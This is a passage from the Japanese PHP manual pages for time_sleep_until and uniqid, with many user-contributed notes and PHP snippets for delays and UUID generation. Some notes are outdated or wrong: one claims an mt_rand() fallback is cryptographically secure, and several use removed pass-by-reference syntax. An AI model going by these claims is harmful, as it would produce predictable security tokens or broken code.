....off the top of my head - obviously simple enough there should be no mistakes.. but those are the ones that always seem to get ya :( .....
anybody (a) emuxperts.net 21-Aug-2006 04:03
Documentation states that "seconds" must be positive. This is not correct, 0 is possible.

Rather, "seconds" must be non-negative.
m at kufi dot net 13-Aug-2005 02:03
You should take into account, if you use the function replacement down here, the CPU will be in use of 99% for the time of execution...

(A little bit better in this situation is to let the 'full seconds' go by a normal sleep command (makes the thread sleep!, and uses minimum cpu))

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
//optimizations added by me [start]
//sleep the full seconds
sleep(intval($microtime));
//set the microtime to only resleep the last part of the nanos
$microtime = $microtime - intval($microtime);
//optimizations added by me [end]

        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
 ?>
tecnomaniac at ig dot com dot br 26-Jul-2005 03:04
This is an alternative function to sleep_nanosecond that you can use with PHP versions below PHP 5.0. It is not very accurate if we talk about nanoseconds but the results are satisfatory. Enjoy!

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
?>


指定した時刻まで実行を遅延する

  • ≪ time_nanosleep
  • uniqid ≫
  • PHP Manual
  • その他の関数
  • 指定した時刻まで実行を遅延する

time_sleep_until

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

time_sleep_until — 指定した時刻まで実行を遅延する

説明

time_sleep_until ( float $timestamp ) : bool

指定した timestamp までスクリプトの実行を遅延させます。

パラメータ

timestamp

スクリプトが再開する時刻。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

過去の timestamp を指定した場合、この関数は E_WARNING を発生させます。

例

例1 time_sleep_until() の例

<?php

// false を返し、警告を発生します
var_dump(time_sleep_until(time()-1));

// 高速なコンピュータ上でのみ動作します。実行を 0.2 秒遅延します。
var_dump(time_sleep_until(microtime(true)+0.2));

?>

注意

注意: すべてのシグナルは、スクリプトが再開した後で送信されます。

参考

  • sleep() - 実行を遅延させる
  • usleep() - マイクロ秒単位で実行を遅延する
  • time_nanosleep() - 秒およびナノ秒単位で実行を遅延する
  • set_time_limit() - 実行時間の最大値を制限する

User Contributed Notes

divinity76 at gmail dot com 28-Oct-2019 07:22
if you for some reason need a constant-time implementation of realpath(), try

<?php

function realpath_constant_time(string $path, float $target_seconds, bool &$constant_time_success = null){
    $start_time=microtime(true);
    $ret=realpath($path);
    $constant_time_success = @time_sleep_until($start_time+$target_seconds);
    return $ret;
}
?>

for example, a realtime that always uses exactly 1 millisecond (should be more than enough for SSD-based servers, perhaps rotating harddrive based servers may need something closer to 10 milliseconds, i don't know):

<?php
realpath_constant_time("/path/to/../to/file.txt",0.001,$constant_time_success);
?>

and you can use $constant_time_success to see if you needed more time (and thus failed to do realpath() in constant-time), or if you succeeded.
rowan dot collins at cwtdigital dot com 30-May-2012 10:42
Not realising that this function existed, I wrote something similar, but it has the additional facility to specify a minimum pause even if the target time has already been reached, for instance in a processor-intensive loop.

It's in seconds rather than microseconds (it's intended for heavy-duty CLI scripts), but that could easily be changed by using microtime(true) and usleep if greater granularity was required.

<?php
    /**
     * Pause processing until the specified time, to avoid hammering a DB or service
     *
     * @param int $target_time Timestamp
     * @param int $min_sleep Always sleep for a minimum number of seconds,
     *    even if the target timestamp has already passed.
     *     Default 0, meaning only sleep until the target timestamp is reached.
     *
     * @example <code>
         while ( ! $finished )
         {
             $minimum_start_of_next_loop = time() + $min_secs_per_loop;

             # DO STUFF THAT MAY OR MAY NOT TAKE VERY LONG

             sleep_until( $minimum_start_of_next_loop, $min_pause_between_loops );
         }
     </code>
     */
    function sleep_until($target_time, $min_sleep = 0)
    {
        $time_now = time();

        $time_to_target = $target_time - $time_now;

        // If we've already reached the target time, that's fine
        if ( $time_to_target <= $min_sleep )
        {
            // If required, sleep for a bit anyway
            sleep( $min_sleep );
        }
        else
        {
            // Sleep for the number of seconds until the target time
            sleep( $time_to_target );
        }
    }
?>
purdue at nc dot rr dot com 05-May-2011 11:04
At least on my Windows machine, the time_sleep_until function appears to calculate the number of microseconds between now and the sleep-until timestamp, and it appears to use unsigned 32-bit math in this calculation.  This roundoff leads to a maximum sleep time of just under 4295 seconds (1 hour, 11 minutes, 35 seconds).  To get longer sleep times, while still using time_sleep_until to minimize processor overhead, the following loop may be some help to you:

<?php

$sleepuntil = strtotime("tuesday 3pm");

while (time() < $sleepuntil)
   time_sleep_until($sleepuntil);

// proceed with dated processing

?>

Of course, one could use something like "cron" instead, to avoid the script doing the extended sleep.  Also note that time_nanosleep appears to do similar math, but it is somewhat more intuitive that the seconds parameter has an upper limit on what it can be.  Still, both functions might report a warning when waking up prematurely due to roundoff.


一意な ID を生成する

  • ≪ time_sleep_until
  • unpack ≫
  • PHP Manual
  • その他の関数
  • 一意な ID を生成する

uniqid

(PHP 4, PHP 5, PHP 7, PHP 8)

uniqid — 一意な ID を生成する

説明

uniqid ( string $prefix = "" , bool $more_entropy = false ) : string

マイクロ秒単位の現在時刻にもとづいた、接頭辞つきの一意な ID を取得します。

警告

この関数が生成する値は、暗号学的に安全ではありません。そのため、これを暗号として使ってはいけません。暗号学的に安全な値が必要な場合は、random_int() か random_bytes() あるいは openssl_random_pseudo_bytes() を使いましょう。

警告

この関数は、戻り値の一意性を保証するものではありません。 ほとんどのシステムは、NTP などでシステムクロックを調整するので、 システム時刻は絶えず変更されます。 したがって、この関数がプロセス/スレッドの一意の ID を返さない可能性があります。 一意性を高めるには、more_entropy を使用してください。

パラメータ

prefix

これが有用なのは、たとえば複数ホストで同時に ID を生成するような場合です。このような場合、同じマイクロ秒で同じ ID が生成されてしまう可能性があります。

空の prefix を指定すると、 返される文字列は 13 文字となります。 more_entropy が true の場合は 23 文字となります。

more_entropy

true にすると、uniqid() は 返り値の最後にさらに別のエントロピーを (線形合同法を使用して) 追加します。これにより、結果が一意になる可能性を高めます。

返り値

タイムスタンプにもとづいた一意な識別子を文字列で返します。

警告

この関数は一意な識別子を作成しようとしますが、 戻り値の一意性を完全に保証するものではありません。

例

例1 uniqid() の例

<?php
/* 一意なID、たとえば 4b3403665fea6 */
printf("uniqid(): %s\r\n", uniqid());

/* IDに接頭辞をつけることもできます。これは次のように書くのと
 * 同じです
 *
 * $uniqid = $prefix . uniqid();
 * $uniqid = uniqid($prefix);
 */
printf("uniqid('php_'): %s\r\n", uniqid('php_'));

/* more_entropy パラメータも使えます。Cygwin などのシステムで
 * 必要となるでしょう。これは、uniqid() が生成する値をたとえば
 * 4b340550242239.64159797 のような形式にします。
 */
printf("uniqid('', true): %s\r\n", uniqid('', true));
?>

注意

注意:

Cygwin でこの関数を動作させるには、 more_entropy を true にする必要があります。

User Contributed Notes

mt at banita dot de 18-Jan-2021 11:22
note hackan at gmail dot com is not or no longer valid even in a for loop uniqid delivers uniq values

Tested:
PHP 7.3.18 (cli) (built: May 12 2020 10:55:29) ( ZTS MSVC15 (Visual C++ 2017) x64 )
PHP 7.4.3 (cli) (built: Oct  6 2020 15:47:56) ( NTS )
DimeCadmium 25-Jul-2019 07:00
Most of these notes are grossly wrong.

First: you probably shouldn't be using uniqid at all. I can't think of a good reason to use it. Maybe to use as an identifier for a particular run of your script in logging, where you don't particularly care if there's a collision? I don't know.

Second: don't rely on the output of uniqid to be, in any way, unique. This will break if you use it twice in quick succession, or if you have two different users at the same time, or if the phase of the moon is wrong.

Third: to nodkz who wrote the clientIPToHex function - you reinvented so many wheels. bin2hex(inet_pton($ip)) will do the same thing.

Fourth: do not use random bytes for a unique identifier (like hackan suggests). That only serves to virtually guarantee that you will eventually have a collision. (You can use random bytes, and get another set of random bytes if there's a collision... but it's a lot easier to just use a sequential identifier like you should, possibly along with a random key)
hackan at gmail dot com 05-Nov-2016 07:17
Seriously, avoid using this function. Here's an example of why:

<?php
for($i=0;$i<20;$i++) {
    echo uniqid(), PHP_EOL;
}
?>

Output:

5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6

As you can see, using it w/ a DB can cause the creation of documents with repeated ID's. You should instead opt for:

<?php
function uniqidReal($lenght = 13) {
    // uniqid gives 13 chars, but you could adjust it to your needs.
    if (function_exists("random_bytes")) {
        $bytes = random_bytes(ceil($lenght / 2));
    } elseif (function_exists("openssl_random_pseudo_bytes")) {
        $bytes = openssl_random_pseudo_bytes(ceil($lenght / 2));
    } else {
        throw new Exception("no cryptographically secure random function available");
    }
    return substr(bin2hex($bytes), 0, $lenght);
}
?>

Test:
<?php
for($i=0;$i<20;$i++) {
    echo uniqid(), "\t", uniqidReal(), PHP_EOL;
}
?>

Output:

5819fa0b63be3   9f39aa0ecd89d
5819fa0b70ed3   2c0735cabfcce
5819fa0b712bb   15e45d1ca1e90
5819fa0b712bb   89593dc230eb3
5819fa0b712bb   449795704aeef
5819fa0b712bb   b046877b80ac9
5819fa0b712bb   0a6fa0ae3ec7b
5819fa0b712bb   ba2f3f4d6afe0
5819fa0b712bb   af03cfac83fd6
5819fa0b712bb   eb9c3c6d475c0
5819fa0b712bb   edfbbf59d5e1b
5819fa0b712bb   500dca18888d4
5819fa0b716a3   4f5a40ef715f1
5819fa0b716a3   154e42b616825
5819fa0b716a3   a879a22663c9b
5819fa0b716a3   ea7c044ddda8a
5819fa0b716a3   2c81a44dc674e
5819fa0b716a3   bb32f37304fd9
5819fa0b716a3   30cdf6c0317d7
5819fa0b716a3   d25f529d126ae
php at dot dot dot metehanarslan dot com 21-Apr-2016 12:33
Here is my approach to generate short string unique id. I am just increasing base of UUID. If you need even shorter keys you may add more chars to $index . When $index gets longer $out will be shorter.

<?php
function struuid($entropy)
{
    $s=uniqid("",$entropy);
    $num= hexdec(str_replace(".","",(string)$s));
    $index = '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $base= strlen($index);
    $out = '';
        for($t = floor(log10($num) / log10($base)); $t >= 0; $t--) {
            $a = floor($num / pow($base,$t));
            $out = $out.substr($index,$a,1);
            $num = $num-($a*pow($base,$t));
        }
    return $out;
}

echo struuid(false); //Return sample: F4518NTQTQ
echo struuid(true);  //Return sample: F451FAHSUCD90N6YNRBQHLZ9E1W

?>
jensenv at cshs dot org 01-May-2015 12:26
DUPLICATE UID WARNING: Be aware that calling this function many times in a tight loop (for instance, to assign UIDs to objects in an array) can result in many of the UIDs being identical, since less than a microsecond may have passed since the previous call. One simple solution is to compare the latest value returned with the previous result, and keep calling in a loop until the new value is different, if you don't mind this call causing a delay of 1 microsecond per call when necessary.
ciantic at NOSPAM dot oksidi dot com 05-Dec-2013 03:34
If you are storing the value to database it might be more efficient to use more letters than in hexadecimal, for me I decided 0-9a-z is good enough.

Notice also that many databases are case insensitive by default so using capitals maybe unwise anyway:

<?php

function uniqid_base36($more_entropy=false) {
    $s = uniqid('', $more_entropy);
    if (!$more_entropy)
        return base_convert($s, 16, 36);

    $hex = substr($s, 0, 13);
    $dec = $s[13] . substr($s, 15); // skip the dot
    return base_convert($hex, 16, 36) . base_convert($dec, 10, 36);
}

echo uniqid_base36() . "\n"; // ?eb98xzzhq7
echo uniqid_base36(true) . "\n"; // eb98xzzhr8dervre

?>

String length may vary with this method.
Anonymous 22-Nov-2012 06:52
I wouldn't use:
$prefix = exec("hostname");
- since it's CPU-expensive.

Instead use php_uname('n') if you have many visitors.
redtraider at gmail dot com 14-Feb-2012 12:37
I use this function to generate microsoft-compatible GUID's.

<?php
 public function create_guid($namespace = '') {
    static $guid = '';
    $uid = uniqid("", true);
    $data = $namespace;
    $data .= $_SERVER['REQUEST_TIME'];
    $data .= $_SERVER['HTTP_USER_AGENT'];
    $data .= $_SERVER['LOCAL_ADDR'];
    $data .= $_SERVER['LOCAL_PORT'];
    $data .= $_SERVER['REMOTE_ADDR'];
    $data .= $_SERVER['REMOTE_PORT'];
    $hash = strtoupper(hash('ripemd128', $uid . $guid . md5($data)));
    $guid = '{' .
            substr($hash,  0,  8) .
            '-' .
            substr($hash,  8,  4) .
            '-' .
            substr($hash, 12,  4) .
            '-' .
            substr($hash, 16,  4) .
            '-' .
            substr($hash, 20, 12) .
            '}';
    return $guid;
  }
?>
tom 17-Jun-2011 12:40
mt_rand() features in a lot of comments here. It is a good PRNG for Monte Carlo simulations, not for anything related to security. Wikipedia's page on cryptographically-secure PRNGs explains. If you want it to be hard for an attacker to guess or predict a "random" UUID, try using /dev/random instead.

<?php
$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));
$uuid = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
    $r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,
    $r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);
?>

That's obviously not production code. It's just for illustration.
Anonymous 16-Jun-2011 04:08
Prefix can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond.
So we can include the hostname / servername in the id.
<?php
echo uniqid(php_uname('n'), true);
// Output: darkstar4dfa8c27aea106.40781203
?>
rommel at rommelsantor dot com 28-May-2011 03:29
The php5-uuid functions could definitely use some documentation to clarify how they should be used, but here's what I've gleaned by examining the OSSP source code (found here: http://ossp-uuid.sourcearchive.com/documentation/1.5.1-1ubuntu1/php_2uuid_8c-source.html).

The uuid_make() function takes two arguments when generating v1 or v4, but four arguments are required when generating v3 or v5. The first two arguments have been demonstrated below and are straightforward, so I'll skip to the as-yet non-described arguments.

The third argument to uuid_make() is: $namespace
  - this is a secondary resource created with uuid_create(); it is apparently used to generate an internal UUID, which is used as the namespace of the output UUID

The fourth argument to uuid_make() is: $url
  - this is the value that is to be hashed (MD5 for v3, SHA-1 for v5); it may be any string or even null

Here's a simple class illustrating the proper usage (note that if php5-uuid is not installed on your system, each function call will just return false):

<?php
class UUID {
  /**
   * Generates version 1: MAC address
   */
  public static function v1() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);
    uuid_make($context, UUID_MAKE_V1);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 3 UUID: MD5 hash of URL
   */
  public static function v3($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V3, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 4 UUID: random
   */
  public static function v4() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);

    uuid_make($context, UUID_MAKE_V4);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 5 UUID: SHA-1 hash of URL
   */
  public static function v5($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V5, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }
}
?>

And here's a demonstration:

<?php
for ($i = 1; $i <= 3; ++$i) {
  echo 'microtime = ' . microtime(true) . '<br/>';
  echo "V1 UUID: " . UUID::v1() . '<br/>';
  echo "V3 UUID of URL='abc': " . UUID::v3('abc') . '<br/>';
  echo "V4 UUID: " . UUID::v4() . '<br/>';
  echo "V5 UUID of URL=null: " . UUID::v5(null) . '<br/>';
  echo '<hr/>';
}
?>

And the output:

microtime = 1306620716.0457
V1 UUID: 7fddae8e-8977-11e0-bc11-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: b3851ec7-4871-4527-92b5-ef5616bae1e6
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0465
V1 UUID: 7fddb83e-8977-11e0-9e6e-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 7e78fe0d-59b8-4637-af7f-e88d221a7d1e
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0467
V1 UUID: 7fddbfb4-8977-11e0-a2bc-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 12a940c7-0f3f-46a1-bb5f-bdd602e10654
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d

As you can see, the calls to v3() always return the same UUID because the same URL parameter, "abc", is always supplied. The same goes for the v5() function which is always supplied a null URL.

The v4() UUIDs are always entirely different because they are (pseudo)random. And the v1() calls are very similar but just slightly different because it's based on the computer's MAC address and the current time.
php at ryanmckeel dot com 29-Jun-2010 10:15
Calls to uuid_make that use the constants UUID_MAKE_V5 or UUID_MAKE_V3 (using Debian package php5-uuid available June 2010) will not work with only two variables.

I could not find good documentation, so I read some source code and figured out that this would work:

uuid_create(&$v5);
//uuid_make($v5, UUID_MAKE_V5);
uuid_make($v5, UUID_MAKE_V5,$v5,$uniqid());
uuid_export($v5, UUID_FMT_STR, &$v5String);

Please use at your own risk.  This may not be the best way to give this param variables, but it at least makes it work what appears to be properly (generating unique ID's).

I imagine that UUID_MAKE_V3 is similar in what it needs.

  Ryan
Enrico Pallazzo 21-Mar-2010 02:45
Running:

rand_uniqid(9007199254740989);

will return 'PpQXn7COf' and:

rand_uniqid('PpQXn7COf', true);

will return '9007199254740989'

---

If you want the rand_uniqid to be at least 6 letter long, use the $pad_up = 6 argument

---

You can support even more characters (making the resulting rand_uniqid even smaller) by adding characters to the $index var at the top of the function body.

---

<?php
function rand_uniqid($in, $to_num = false, $pad_up = false, $passKey = null)
{
    $index = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    if ($passKey !== null) {
        // Although this function's purpose is to just make the
        // ID short - and not so much secure,
        // you can optionally supply a password to make it harder
        // to calculate the corresponding numeric ID

        for ($n = 0; $n<strlen($index); $n++) {
            $i[] = substr( $index,$n ,1);
        }

        $passhash = hash('sha256',$passKey);
        $passhash = (strlen($passhash) < strlen($index))
            ? hash('sha512',$passKey)
            : $passhash;

        for ($n=0; $n < strlen($index); $n++) {
            $p[] =  substr($passhash, $n ,1);
        }

        array_multisort($p,  SORT_DESC, $i);
        $index = implode($i);
    }

    $base  = strlen($index);

    if ($to_num) {
        // Digital number  <<--  alphabet letter code
        $in  = strrev($in);
        $out = 0;
        $len = strlen($in) - 1;
        for ($t = 0; $t <= $len; $t++) {
            $bcpow = bcpow($base, $len - $t);
            $out   = $out + strpos($index, substr($in, $t, 1)) * $bcpow;
        }

        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $out -= pow($base, $pad_up);
            }
        }
        $out = sprintf('%F', $out);
        $out = substr($out, 0, strpos($out, '.'));
    } else {
        // Digital number  -->>  alphabet letter code
        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $in += pow($base, $pad_up);
            }
        }

        $out = "";
        for ($t = floor(log($in, $base)); $t >= 0; $t--) {
            $bcp = bcpow($base, $t);
            $a   = floor($in / $bcp) % $base;
            $out = $out . substr($index, $a, 1);
            $in  = $in - ($a * $bcp);
        }
        $out = strrev($out); // reverse
    }

    return $out;
}

echo rand_uniqid(1);
?>
keith at keithtyler dot com 07-Dec-2009 06:18
For the record, the underlying function to uniqid() appears to be roughly as follows:

$m=microtime(true);
sprintf("%8x%05x\n",floor($m),($m-floor($m))*1000000);

In other words, first 8 hex chars = Unixtime, last 5 hex chars = microseconds. This is why it has microsecond precision. Also, it provides a means by which to reverse-engineer the time when a uniqid was generated:

date("r",hexdec(substr(uniqid(),0,8)));

Increasingly as you go further down the string, the number becomes "more unique" over time, with the exception of digit 9, where numeral prevalence is 0..3>4>5..f, because of the difference between 10^6 and 16^5 (this is presumably true for the remaining digits as well but much less noticeable).
Andrew Moore 04-Dec-2009 08:45
The following class generates VALID RFC 4211 COMPLIANT Universally Unique IDentifiers (UUID) version 3, 4 and 5.

Version 3 and 5 UUIDs are named based. They require a namespace (another valid UUID) and a value (the name). Given the same namespace and name, the output is always the same.

Version 4 UUIDs are pseudo-random.

UUIDs generated below validates using OSSP UUID Tool, and output for named-based UUIDs are exactly the same. This is a pure PHP implementation.

<?php
class UUID {
  public static function v3($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = md5($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 3
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x3000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function v4() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',

      // 32 bits for "time_low"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff),

      // 16 bits for "time_mid"
      mt_rand(0, 0xffff),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 4
      mt_rand(0, 0x0fff) | 0x4000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      mt_rand(0, 0x3fff) | 0x8000,

      // 48 bits for "node"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
  }

  public static function v5($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = sha1($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 5
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x5000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function is_valid($uuid) {
    return preg_match('/^\{?[0-9a-f]{8}\-?[0-9a-f]{4}\-?[0-9a-f]{4}\-?'.
                      '[0-9a-f]{4}\-?[0-9a-f]{12}\}?$/i', $uuid) === 1;
  }
}

// Usage
// Named-based UUID.

$v3uuid = UUID::v3('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');
$v5uuid = UUID::v5('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');

// Pseudo-random UUID

$v4uuid = UUID::v4();
?>
John Haugeland from FullOf.BS 26-May-2009 10:11
Generating an MD5 from a unique ID is naive and reduces much of the value of unique IDs, as well as providing significant (attackable) stricture on the MD5 domain.  That's a deeply broken thing to do.  The correct approach is to use the unique ID on its own; it's already geared for non-collision.

IDs should never be obfuscated for security, so if you're worried about someone guessing your ID, fix the system, don't just make it harder to guess (because it's nowhere near as difficult to guess as you imagine: you can just brute force the 60,000 MD5s that are generatable from millisecond IDs over the course of a given minute, which the typical computer can do in less than 0.1s).

If you absolutely need to involve a hash somehow - maybe to placate a boss who thinks they understand security much better than they actually do - append it instead.

function BadIdeaID() { return uniqid() . '_' . md5(mt_rand()); }
sean at seancolombo dot com 06-Jan-2009 07:56
This builds slightly on david's post below.  The differences are that it doesn't require Cake anymore and there is a graceful fallback for /dev/urandom in case that isn't available (/dev/urandom is not available on windows systems for example).

Since it uses mt_rand(), it is still cryptographically secure.

<?php
/**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
      function uuidSecure() {

        $pr_bits = null;
        $fp = @fopen('/dev/urandom','rb');
        if ($fp !== false) {
            $pr_bits .= @fread($fp, 16);
            @fclose($fp);
        } else {
            // If /dev/urandom isn't available (eg: in non-unix systems), use mt_rand().
            $pr_bits = "";
            for($cnt=0; $cnt < 16; $cnt++){
                $pr_bits .= chr(mt_rand(0, 255));
            }
        }

        $time_low = bin2hex(substr($pr_bits,0, 4));
        $time_mid = bin2hex(substr($pr_bits,4, 2));
        $time_hi_and_version = bin2hex(substr($pr_bits,6, 2));
        $clock_seq_hi_and_reserved = bin2hex(substr($pr_bits,8, 2));
        $node = bin2hex(substr($pr_bits,10, 6));

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec($time_hi_and_version);
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec($clock_seq_hi_and_reserved);
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf('%08s-%04s-%04x-%04x-%012s',
            $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node);
    }
david at ramaboo dot com 05-Jan-2009 12:51
Another UUID function. This time using /dev/random
<?php
/**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
    public function uuidSecure() {

        $pr_bits = null;
        $fp = @fopen('/dev/urandom','rb');
        if ($fp !== false) {
            $pr_bits .= @fread($fp, 16);
            @fclose($fp);
        } else {
            $this->cakeError('randomNumber');
        }

        $time_low = bin2hex(substr($pr_bits,0, 4));
        $time_mid = bin2hex(substr($pr_bits,4, 2));
        $time_hi_and_version = bin2hex(substr($pr_bits,6, 2));
        $clock_seq_hi_and_reserved = bin2hex(substr($pr_bits,8, 2));
        $node = bin2hex(substr($pr_bits,10, 6));

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec($time_hi_and_version);
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec($clock_seq_hi_and_reserved);
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf('%08s-%04s-%04x-%04x-%012s',
            $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node);
    }
?>
mark at whytewaters dot com 25-Feb-2008 06:39
If you want many ids and performance of this function is an issue why not pull uniquid() out of the loop, eg:

$base = uniqueid();
$ids[] = array();

for ($index = 0; $index < 100000; $index++)
    $ids[] = $base . '.' . $index;
nodkz at mail dot ru 15-Jan-2008 02:00
I use such UUID (it not RFC!!!)
(server_id)-(clientIP)-(unixtime)-(milliseconds)-(random)

 I can easyly determine which server at which time and who initiate creating of object.

<?php

